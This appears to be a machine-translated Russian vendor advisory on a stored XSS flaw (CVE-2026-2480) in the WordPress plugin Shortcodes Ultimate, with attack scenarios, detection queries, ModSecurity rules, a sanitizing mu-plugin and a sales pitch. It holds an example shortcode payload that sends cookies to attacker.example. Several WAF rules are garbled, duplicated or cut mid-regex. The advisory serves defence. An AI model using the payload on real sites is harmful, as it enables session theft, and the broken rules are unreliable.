Имя плагина	Shortcodes Ultimate
Тип уязвимости	Межсайтовый скриптинг (XSS)
Номер CVE	CVE-2026-2480
Срочность	Низкий
Дата публикации CVE	2026-04-03
Исходный URL-адрес	CVE-2026-2480

Срочно: CVE-2026-2480 — Храненый XSS в Shortcodes Ultimate (<= 7.4.10) — Что владельцы сайтов на WordPress должны сделать сейчас

Автор: Команда безопасности WP-Firewall
Дата: 2026-04-03
Теги: WordPress, уязвимость плагина, XSS, WAF, безопасность

Краткое содержание: Аутентифицированный участник может внедрить храненый межсайтовый скрипт через max_width атрибут шорткода в Shortcodes Ultimate <= 7.4.10 (CVE-2026-2480). В этом посте объясняется риск, сценарии эксплуатации, индикаторы обнаружения и практические шаги по смягчению, включая временные правила WAF и рекомендации по усилению безопасности.

Важный: Уязвимость храненого межсайтового скрипта (CVE-2026-2480) была опубликована для версий Shortcodes Ultimate до и включая 7.4.10. Она исправлена в 7.5.0. Если вы используете этот плагин и не можете обновить его немедленно, следуйте приведенным ниже мерам по смягчению риска.

Управляющее резюме

Уязвимость: Храненое межсайтовое скриптование (XSS) через max_width атрибут шорткода в Shortcodes Ultimate (<= 7.4.10). Отслеживается как CVE-2026-2480.
Кто может воспользоваться: Аутентифицированный пользователь с правами уровня участника (или выше) может внедрить полезную нагрузку в атрибуты шорткода, которые сохраняются в содержимом поста.
Влияние: Если храненая полезная нагрузка отображается на страницах, где привилегированные пользователи (например, редакторы, администраторы) просматривают или модерируют контент, она может выполнить JavaScript в их браузерах — что позволяет украсть сессии, скомпрометировать учетные записи администраторов, повысить привилегии, изменить контент или внедрить дополнительные задние двери.
Пластырь: Исправлено в Shortcodes Ultimate 7.5.0. Обновление плагина является единственным полным решением.
Если немедленное обновление невозможно: примените временные меры по смягчению — обеспечьте более строгую санитарную обработку контента, ограничьте поведение участников, добавьте правила WAF для блокировки полезных нагрузок, сканируйте на наличие индикаторов и просмотрите пользователей и посты сайта.

Этот пост описывает технические детали, реалистичные цепочки атак, обнаружение и пошаговые рекомендации по смягчению, а также образцы правил и кода, которые вы можете применить немедленно.

Почему это важно (простыми словами)

Шорткоды — это удобный способ добавления расширенного форматирования, виджетов и медиа в посты WordPress. Но поскольку шорткоды принимают атрибуты, злоумышленники иногда могут тайно внедрять HTML/JS в атрибуты, если плагин, который разбирает шорткод, не очищает ввод должным образом.

В этом случае аутентифицированный участник (обычно пользователь с низкими привилегиями, который может отправлять посты на рассмотрение) может включить вредоносное значение в max_width атрибут. Плагин сохранил это значение и позже отобразил его без должного контекстно-зависимого экранирования; результат: храненый XSS — вредоносный скрипт сохраняется в базе данных и выполняется, когда пользователь загружает затронутую страницу на фронтенде или когда привилегированный пользователь просматривает пост в админской области.

Храненый XSS особенно опасен в WordPress, потому что платформа полагается на доверенных пользователей и динамическое отображение контента. Если участник может внедрить JS, который выполняется в браузере администратора, это может привести к полному захвату сайта.

Технические детали (что происходило)

Атрибут шорткода с именем max_width принимал значения из содержимого поста (например: [su_image max_width=”…”]).
Проверка входных данных и экранирование были недостаточными для этого атрибута в определенных путях рендеринга; в частности, атрибуты не были строго очищены для удаления JavaScript или HTML обработчиков событий перед выводом.
Поскольку вредоносное значение хранится внутри содержимого поста, оно является постоянным: любой посетитель или администратор, просматривающий эту страницу, может вызвать выполнение.
Требуемая привилегия: Участник (аутентифицированный) — это снижает барьер для атакующих, поскольку участникам часто разрешено участвовать в блогах с несколькими авторами, в рабочих процессах гостевых публикаций или в скомпрометированных учетных записях пользователей.

Примечание: Уязвимость исправлена в версии 7.5.0. Авторы плагина устранили проблемы с правильным очищением/экранированием в проблемной логике рендеринга.

Реалистичные сценарии атак

Зловредная учетная запись участника:
- Атакующий регистрирует учетную запись Участника (или компрометирует законного Участника).
- Они отправляют пост с созданным атрибутом короткого кода, например:
  [su_image max_width='" onerror="fetch(\'https://attacker.example/steal?c=\'+document.cookie)']
- Если сайт рендерит атрибут без экранирования, обработчик onerror может выполниться в браузерах посетителей (или редактора/администратора, просматривающего пост), раскрывая куки и позволяя дальнейшие действия.
Эскалация социальной инженерии:
- Атакующий отправляет пост и информирует редактора через Slack/email о необходимости его проверить и опубликовать.
- Когда редактор открывает предварительный просмотр поста в админке, полезная нагрузка выполняется и крадет куки сессии редактора или инициирует действие, похожее на CSRF, в аутентифицированном браузере редактора.
Массовый сбор:
- В многопользовательской сети или на сайте с множеством привилегированных зрителей одна сохраненная полезная нагрузка может повлиять на множество учетных записей, позволяя широкое компрометирование.
Комбинированная атака (XSS -> CSRF -> RCE):
- Постоянный XSS может быть использован для выполнения действий через аутентифицированную сессию администратора (создание учетных записей администратора, загрузка бекдоров), если отсутствуют надлежащие защиты от CSRF или если атакующий использует разрешенные AJAX конечные точки.

Кто находится в зоне риска?

Сайты, использующие версию Shortcodes Ultimate ≤ 7.4.10.
Сайты, которые принимают контент от пользователей уровня Участника или имеют ненадежных участников.
Блоги с несколькими авторами, сайты членства, рабочие процессы гостевых писателей, сообщества.
Любой сайт, где привилегированные пользователи (Редактор/Администратор) просматривают ненадежный контент (предварительные просмотры постов, экраны редактирования, очереди модерации).

Немедленные шаги по обнаружению (на что обращать внимание)

Проверьте ваш сайт на наличие подозрительных значений атрибутов шорткодов и известных индикаторов:

Ищите вхождения max_width= в записях:
- WP‑CLI: wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%max_width=%';"
- Или: wp post list --post_type=post --format=ids | xargs -I% wp post get % --field=post_content | grep -n "max_width="
Ищите атрибуты, содержащие <script, яваскрипт:, onerror=, загрузка=, onmouseover=, src=javascript, или закодированные варианты (например, <script, javascript).
Просмотрите недавние записи от участников (по дате и автору) на предмет нового контента с шорткодами.
Мониторьте журналы сервера на наличие подозрительных рефереров или запросов, попадающих на страницы администратора или конечные точки предварительного просмотра после создания записей.
Проверьте на наличие неожиданного поведения администратора сразу после того, как пользователи с низкими привилегиями публикуют или сохраняют контент (например, новые учетные записи администратора, загрузка плагинов).

Если вы обнаружите подозрительный контент, рассматривайте его как возможный активный компромисс: уберите запись с публикации (черновик), проверьте на наличие других индикаторов и следуйте шагам реагирования на инциденты ниже.

Немедленное устранение (что делать прямо сейчас — в приоритете)

Немедленно обновите плагин до версии 7.5.0 (или более поздней)
- Это единственное полное исправление уязвимости. Обновите на всех средах (тестирование, продуктив).
- Если у вас много сайтов, срочно запланируйте и автоматизируйте это обновление.
Если вы не можете немедленно установить патч — примените временные меры смягчения
- Временно ограничьте права участников:
  - Удалите возможность отправки постов на живом сайте; переключитесь на рабочий процесс только для черновиков; или ограничьте, кто может загружать/вставлять шорткоды.
- Отключите шорткоды в предварительном просмотре редактора для контента участников до исправления (например, удалите шорткод из контента с помощью фильтра save_post).
- Добавьте правила WAF для блокировки попыток сохранить полезные нагрузки, похожие на скрипты (см. пример правил ниже).
- Удалите или выполните поиск и замену любых небезопасных вхождений max_width атрибутов, содержащих подозрительное содержимое; установите их на безопасные числовые значения.
Удалите подозрительные посты и ищите аналогичную эксплуатацию
- Для каждого подозрительного поста: установите статус Черновик, удалите проблемные значения шорткодов и повторно опубликуйте только после проверки.
- Используйте запросы к базе данных, чтобы найти другие посты с вредоносными атрибутами.
Смените учетные данные и проведите аудит пользователей, если подозреваете компрометацию.
- Принудительно сбросьте пароль для пользователей, которые могли быть нацелены или чьи сессии могли быть украдены.
- Удалите любые вновь созданные привилегированные учетные записи, которые вы не распознаете.
- Проверьте директории загрузки плагинов/тем на наличие неожиданных файлов.
Просканируйте весь сайт на наличие вредоносного ПО/задних дверей.
- Используйте сканер на стороне сервера или сканер вредоносного ПО от поставщика WAF. Ищите недавно измененные файлы, незнакомых администраторов, неожиданные запланированные задачи и вредоносные PHP-файлы.

Примеры правил WAF, которые вы можете применить немедленно.

Ниже приведены примерные правила, которые вы можете использовать в межсетевом экране веб-приложений (WAF) или в системах, совместимых с ModSecurity. Настройте и протестируйте их внимательно на тестовом сервере перед применением в производственной среде, чтобы избежать ложных срабатываний.

Примечание: Это общие шаблоны для блокировки попыток сохранить XSS через атрибуты шорткодов. Они являются защитными временными мерами и не заменяют исправление плагина.

1) Блокируйте попытки отправить содержимое поста, содержащее подозрительные max_width полезные нагрузки атрибутов:<\s*script)|javascript:|on\w+\s*=).*?\2)" "t:none,t:urlDecode,t:htmlEntityDecode" max_width атрибут, содержащий <script>, яваскрипт: или атрибуты обработчиков событий, такие как onerror=. Он декодирует URL и HTML-сущности перед проверкой. max_width:

SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"]).*?(<\s*script|javascript:|on\w+\s*=).*?\1" "phase:2,deny,log,msg:'Block XSS in max_width attribute',id:100002"

3) Block common attribute-encoded obfuscation (hex/decimal entities):

SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"])[^'\"]*(?:&#\d+;|\\x[0-9a-f]{2}||).*?\1" "phase:2,deny,log,msg:'Block encoded tags in max_width',id:100003"

4) If your WAF supports precise shortcodes scanning, create a rule to sanitize/store-only numeric values for max_width. For example, allow only digits and CSS units:

SecRule REQUEST_BODY "@rx max_width\s*=\s*(['\"])\s*(?:[0-9]+(px|em|rem|%)?)\s*\1" "phase:2,allow,log,id:100004"

Fallback: If the value does not match the safe regex, block or quarantine the request.

Important: Test these rules in detect/log mode first to tune false positives. Applying overly broad WAF rules can block legitimate content. These rules are temporary emergency mitigations until you update.

<\sscript|javascript:|on\w+\s=).*?\1" "phase:2,deny,log,msg:'Блокировка XSS в атрибуте max_width',id:100002"

SecRule REQUEST_BODY "(?i)max_width\s*=\s*(['\"])[^'\"]*(?:&#\d+;|\\x[0-9a-f]{2}||).*?\1" "phase:2,deny,log,msg:'Блокировка закодированных тегов в max_width',id:100003" wp-content/mu-plugins/ SecRule REQUEST_BODY "@rx max_width\s*=\s*(['\"])\s*(?:[0-9]+(px|em|rem|%)?)\s*\1" "phase:2,allow,log,id:100004"

<?php
/**
 * MU plugin: sanitize su shortcode attributes for contributors
 */

add_action( 'save_post', 'wpf_sanitize_su_max_width', 10, 3 );
function wpf_sanitize_su_max_width( $post_id, $post, $update ) {
    // Only run for post types you permit (posts/pages).
    if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
        return;
    }

    // Only sanitize if current user exists and is not high-privilege.
    $user = wp_get_current_user();
    if ( ! $user || in_array( 'administrator', (array) $user->roles ) || in_array( 'editor', (array) $user->roles ) ) {
        return;
    }

    // Only sanitize for contributor-level (or below) submissions.
    if ( ! in_array( 'contributor', (array) $user->roles ) && ! in_array( 'author', (array) $user->roles ) ) {
        return;
    }

    $content = $post->post_content;
    if ( false === strpos( $content, 'max_width' ) ) {
        return;
    }

    // Sanitize any max_width attribute to safe value: keep only digits and optional units.
    $content = preg_replace_callback(
        '/(max_width\s*=\s*)([\'"])(.*?)\2/si',
        function( $m ) {
            $val = $m[3];
            // Decode entities to catch obfuscated payloads
            $val = html_entity_decode( $val, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
            // Allow only digits and simple CSS units
            if ( preg_match( '/^\s*[0-9]+(?:px|em|rem|%|vh|vw)?\s*$/i', $val ) ) {
                return $m[1] . $m[2] . trim( $val ) . $m[2];
            }
            // Default safe value if suspicious
            return $m[1] . $m[2] . '100%' . $m[2];
        },
        $content
    );

    // Update the post content in DB directly to avoid loops
    remove_action( 'save_post', 'wpf_sanitize_su_max_width', 10 );
    wp_update_post( [
        'ID' => $post_id,
        'post_content' => $content
    ] );
    add_action( 'save_post', 'wpf_sanitize_su_max_width', 10, 3 );
}

Примечания:

Резервный вариант: Если значение не соответствует безопасному регулярному выражению, заблокируйте или помещайте запрос в карантин.
Важно: Сначала протестируйте эти правила в режиме обнаружения/логирования, чтобы настроить ложные срабатывания. Применение слишком широких правил WAF может заблокировать законный контент. Эти правила являются временными экстренными мерами до обновления.
Пример усиления PHP: очистка атрибутов коротких кодов при сохранении.

Если вы не можете немедленно обновить плагин, рассмотрите возможность добавления короткого mu-плагина, который удаляет подозрительные конструкции из содержимого поста при сохранении для авторов. Добавьте это как обязательный плагин (поместите в

для выполнения перед другими плагинами): Этот фрагмент ограничивает операцию очистки для авторов/авторов (при необходимости отрегулируйте роли). Он заменяет подозрительные значения на безопасное значение по умолчанию (100%). Вы можете изменить поведение, чтобы отклонить сохранение вместо этого.
Используйте mu-плагины для максимальной надежности и чтобы гарантировать, что фрагмент выполняется, даже если уязвимый плагин активен.
Изменения политики в краткосрочной перспективе, которые вы должны рассмотреть.
Временно отключите рендеринг коротких кодов на фронтенде для ненадежных постов. Вы можете использовать.

do_shortcode_tag

фильтр, чтобы предотвратить выполнение для непроверенных постов.

Требуйте, чтобы посты авторов проверялись редактором перед их планированием/публикацией.
Обновите Shortcodes Ultimate до 7.5.0 во всех средах.
Определите и изолируйте затронутые посты:
- Запросите БД на наличие постов с max_width= и проверьте значения атрибутов.
- Для любых подозрительных постов установите статус Черновик.
Проверьте загрузки и плагины на наличие недавно добавленных файлов.
Просмотрите учетные записи пользователей, созданные или измененные в период подозреваемой эксплуатации.
Смените пароли и аннулируйте сессии для учетных записей администраторов/редакторов.
Восстановите из резервной копии до эксплуатации, если компрометация обширна.
Укрепите сайт (правила WAF, CSP, заголовки безопасности).
Мониторьте журналы и планируйте частые сканирования в течение периода после очистки.

Лучшие практики безопасности на долгосрочную перспективу

Держите все плагины, темы и ядро WordPress в актуальном состоянии; своевременно применяйте обновления безопасности.
Ограничьте доступ на запись и привилегии на отправку; соблюдайте принцип наименьших привилегий.
Обеспечьте двухфакторную аутентификацию для всех учетных записей администраторов/редакторов.
Регулярно сканируйте на уязвимости и автоматизируйте обновления плагинов на тестовом/стадийном канале (применяйте к производству после тестирования).
Реализуйте Политику безопасности контента (CSP), чтобы сделать последствия эксплуатации более сложными — хотя CSP не может заменить очистку ввода, она помогает уменьшить воздействие (например, блокировка встроенных скриптов, ограничение разрешенных источников скриптов).
Записывайте и контролируйте доступ к административной области, события сохранения/публикации постов и изменения файлов.
Используйте WAF, настроенный на обнаружение и блокировку постоянных попыток XSS и опасных шаблонов полезной нагрузки.

Примеры запросов и команд для обнаружения

WP‑CLI: Найти записи с max_width в содержимом
wp db query "SELECT ID, post_title, post_author, post_date FROM wp_posts WHERE post_content LIKE '%max_width=%'"
Искать файлы на наличие подозрительных шорткодов в файлах темы/плагина:
grep -RIn "max_width" wp-content/themes/ wp-content/plugins/
Ищите шорткоды, которые включают onerror/загрузка и т.д.:
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content REGEXP 'max_width[[:space:]]*=.*(onerror|onload|javascript:|<script)'"

Выполняйте эти команды с безопасного хостинга управления с доступом к БД и соответствующими резервными копиями.

Предложения по политике безопасности контента (CSP)

Реализация CSP может снизить влияние XSS, предотвращая встроенный JavaScript и ограничивая доверенные источники скриптов. Пример минимального заголовка:

Content-Security-Policy:;

CSP может быть сложной и может нарушить работу существующих плагинов/тем, если не протестирована. Разверните в режиме только для отчетов перед применением.

Как WP‑Firewall может помочь вам (краткий обзор)

В рамках нашего предложения управляемого межсетевого экрана WP‑Firewall предоставляет:

Немедленные управляемые правила WAF, которые могут быть развернуты для блокировки паттернов полезной нагрузки XSS (включая эксплуатацию атрибутов шорткодов) на всех защищенных сайтах.
Непрерывное сканирование на наличие вредоносного ПО и сканирование содержимого для поиска подозрительных атрибутов шорткодов и закодированных полезных нагрузок.
Виртуальное патчирование: Когда уязвимость плагина раскрыта и патч еще не применен на сайте, WP‑Firewall может развернуть временные правила, которые закрывают окно атаки до обновления плагина.
Легко применимые экстренные правила (лог, блокировка или вызов) с минимальными ложными срабатываниями и возможностями отката.
Руководство по инцидентам и планы по устранению неполадок, адаптированные для WordPress.

Если вы хотите быстро защитить сайт и получить временные виртуальные патчи, пока планируете обновления плагинов, рассмотрите наш бесплатный план ниже.

Защитите свой сайт бесплатно — Начните здесь: Получите защиту с WP‑Firewall Basic (Бесплатно)

Начните с основной защиты — бесплатно для каждого сайта WordPress

Каждый владелец сайта на WordPress может получить базовую защиту без затрат. План WP‑Firewall Basic (Бесплатно) включает управляемую защиту брандмауэра, брандмауэр веб-приложений (WAF) промышленного уровня, неограниченную пропускную способность, сканер вредоносных программ и смягчение рисков OWASP Top 10 — все, что вам нужно, чтобы значительно снизить подверженность уязвимостям, таким как XSS max_width в Shortcodes Ultimate, пока вы планируете обновления и исправления.

Зарегистрируйтесь на бесплатный план и добавьте защитный слой сейчас:
https://my.wp-firewall.com/buy/wp-firewall-free-plan/

Если вам нужно больше автоматизированного исправления и дополнительных средств управления (автоматическое удаление вредоносных программ, блокировка/разрешение IP-адресов, ежемесячные отчеты и виртуальные патчи), наши планы Standard и Pro доступны в качестве обновлений.

Контрольный список реагирования на инциденты (одностраничное резюме)

Обновите плагин до 7.5.0 (или позже) — самый высокий приоритет.
Если вы не можете сразу установить патч:
- Примените правила WAF для блокировки max_width атрибутов, которые содержат <script, яваскрипт: или на*= обработчики.
- Добавьте предоставленный mu-плагин для очистки заявок от участников.
- Требуйте редакционного рассмотрения контента участников; установите участников только в черновик.
Ищите вредоносные случаи:
- Используйте WP‑CLI/DB запросы для поиска постов с max_width=.
Карантин для подозрительных постов — установите в черновик.
Смените пароли администраторов/редакторов и аннулируйте сессии.
Сканируйте на наличие других вредоносных файлов и бэкдоров; восстановите при необходимости.
Укрепите сайт (CSP, 2FA, минимальные привилегии).
Тщательно следите за журналами в течение как минимум 30 дней после исправления.

Заключительные мысли от команды WP‑Firewall

Шорткоды мощные и делают создание контента гибким — но эта гибкость может быть опасной, когда парсинг/экранирование неполное. Эта проблема напоминает о том, что:

Код плагина, который принимает и затем выводит атрибуты, предоставленные пользователем, всегда должен выполнять контекстно-зависимое экранирование.
Постоянный XSS через контент является одним из самых рискованных классов веб-уязвимостей, поскольку он может обойти многие защиты и напрямую злоупотреблять доверенными пользовательскими сессиями.
Своевременные обновления являются единственной наиболее эффективной защитой; однако многослойные защиты (WAF, сканирование, минимальные привилегии) уменьшают окно для атакующих.

Если вы управляете сайтом с несколькими авторами или позволяете внешним участникам вносить вклад, рассматривайте рабочие процессы подачи контента как границу безопасности. Ограничьте, кто может вставлять шорткоды или сырой HTML, и обеспечьте этапы модерации для любого контента, отправленного пользователями.

Если вам нужна помощь в оценке вашей уязвимости, развертывании экстренных правил WAF или сканировании вашего сайта на наличие подозрительных шорткодных полезных нагрузок, наша команда может помочь. Рассмотрите возможность начала с нашего бесплатного плана, чтобы получить необходимую защиту немедленно: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

Будьте в безопасности — и если у вас есть вопросы о применении приведенных выше образцовых правил или кода очистки, ответьте на этот пост, и мы поможем вам настроить их для вашей среды.

— Команда безопасности WP-Firewall

Смягчение межсайтового скриптинга в плагине шорткодов//Опубликовано 2026-04-03//CVE-2026-2480

Срочно: CVE-2026-2480 — Храненый XSS в Shortcodes Ultimate (<= 7.4.10) — Что владельцы сайтов на WordPress должны сделать сейчас

Управляющее резюме

Почему это важно (простыми словами)

Технические детали (что происходило)

Реалистичные сценарии атак

Кто находится в зоне риска?

Немедленные шаги по обнаружению (на что обращать внимание)

Немедленное устранение (что делать прямо сейчас — в приоритете)

Примеры правил WAF, которые вы можете применить немедленно.

<\sscript|javascript:|on\w+\s=).*?\1" "phase:2,deny,log,msg:'Блокировка XSS в атрибуте max_width',id:100002"

do_shortcode_tag

Лучшие практики безопасности на долгосрочную перспективу

Примеры запросов и команд для обнаружения

Предложения по политике безопасности контента (CSP)

Как WP‑Firewall может помочь вам (краткий обзор)

Защитите свой сайт бесплатно — Начните здесь: Получите защиту с WP‑Firewall Basic (Бесплатно)

Начните с основной защиты — бесплатно для каждого сайта WordPress

Контрольный список реагирования на инциденты (одностраничное резюме)

Заключительные мысли от команды WP‑Firewall

Получайте WP Security Weekly бесплатно 👋
Зарегистрируйтесь сейчас!!

Свяжитесь с нами, чтобы запланировать бесплатную консультацию по безопасности WordPress.

Смягчение межсайтового скриптинга в плагине шорткодов//Опубликовано 2026-04-03//CVE-2026-2480

Срочно: CVE-2026-2480 — Храненый XSS в Shortcodes Ultimate (<= 7.4.10) — Что владельцы сайтов на WordPress должны сделать сейчас

Управляющее резюме

Почему это важно (простыми словами)

Технические детали (что происходило)

Реалистичные сценарии атак

Кто находится в зоне риска?

Немедленные шаги по обнаружению (на что обращать внимание)

Немедленное устранение (что делать прямо сейчас — в приоритете)

Примеры правил WAF, которые вы можете применить немедленно.

<\s*script|javascript:|on\w+\s*=).*?\1" "phase:2,deny,log,msg:'Блокировка XSS в атрибуте max_width',id:100002"

do_shortcode_tag

Лучшие практики безопасности на долгосрочную перспективу

Примеры запросов и команд для обнаружения

Предложения по политике безопасности контента (CSP)

Как WP‑Firewall может помочь вам (краткий обзор)

Защитите свой сайт бесплатно — Начните здесь: Получите защиту с WP‑Firewall Basic (Бесплатно)

Начните с основной защиты — бесплатно для каждого сайта WordPress

Контрольный список реагирования на инциденты (одностраничное резюме)

Заключительные мысли от команды WP‑Firewall

Получайте WP Security Weekly бесплатно 👋Зарегистрируйтесь сейчас!!

Свяжитесь с нами, чтобы запланировать бесплатную консультацию по безопасности WordPress.

<\sscript|javascript:|on\w+\s=).*?\1" "phase:2,deny,log,msg:'Блокировка XSS в атрибуте max_width',id:100002"

Получайте WP Security Weekly бесплатно 👋
Зарегистрируйтесь сейчас!!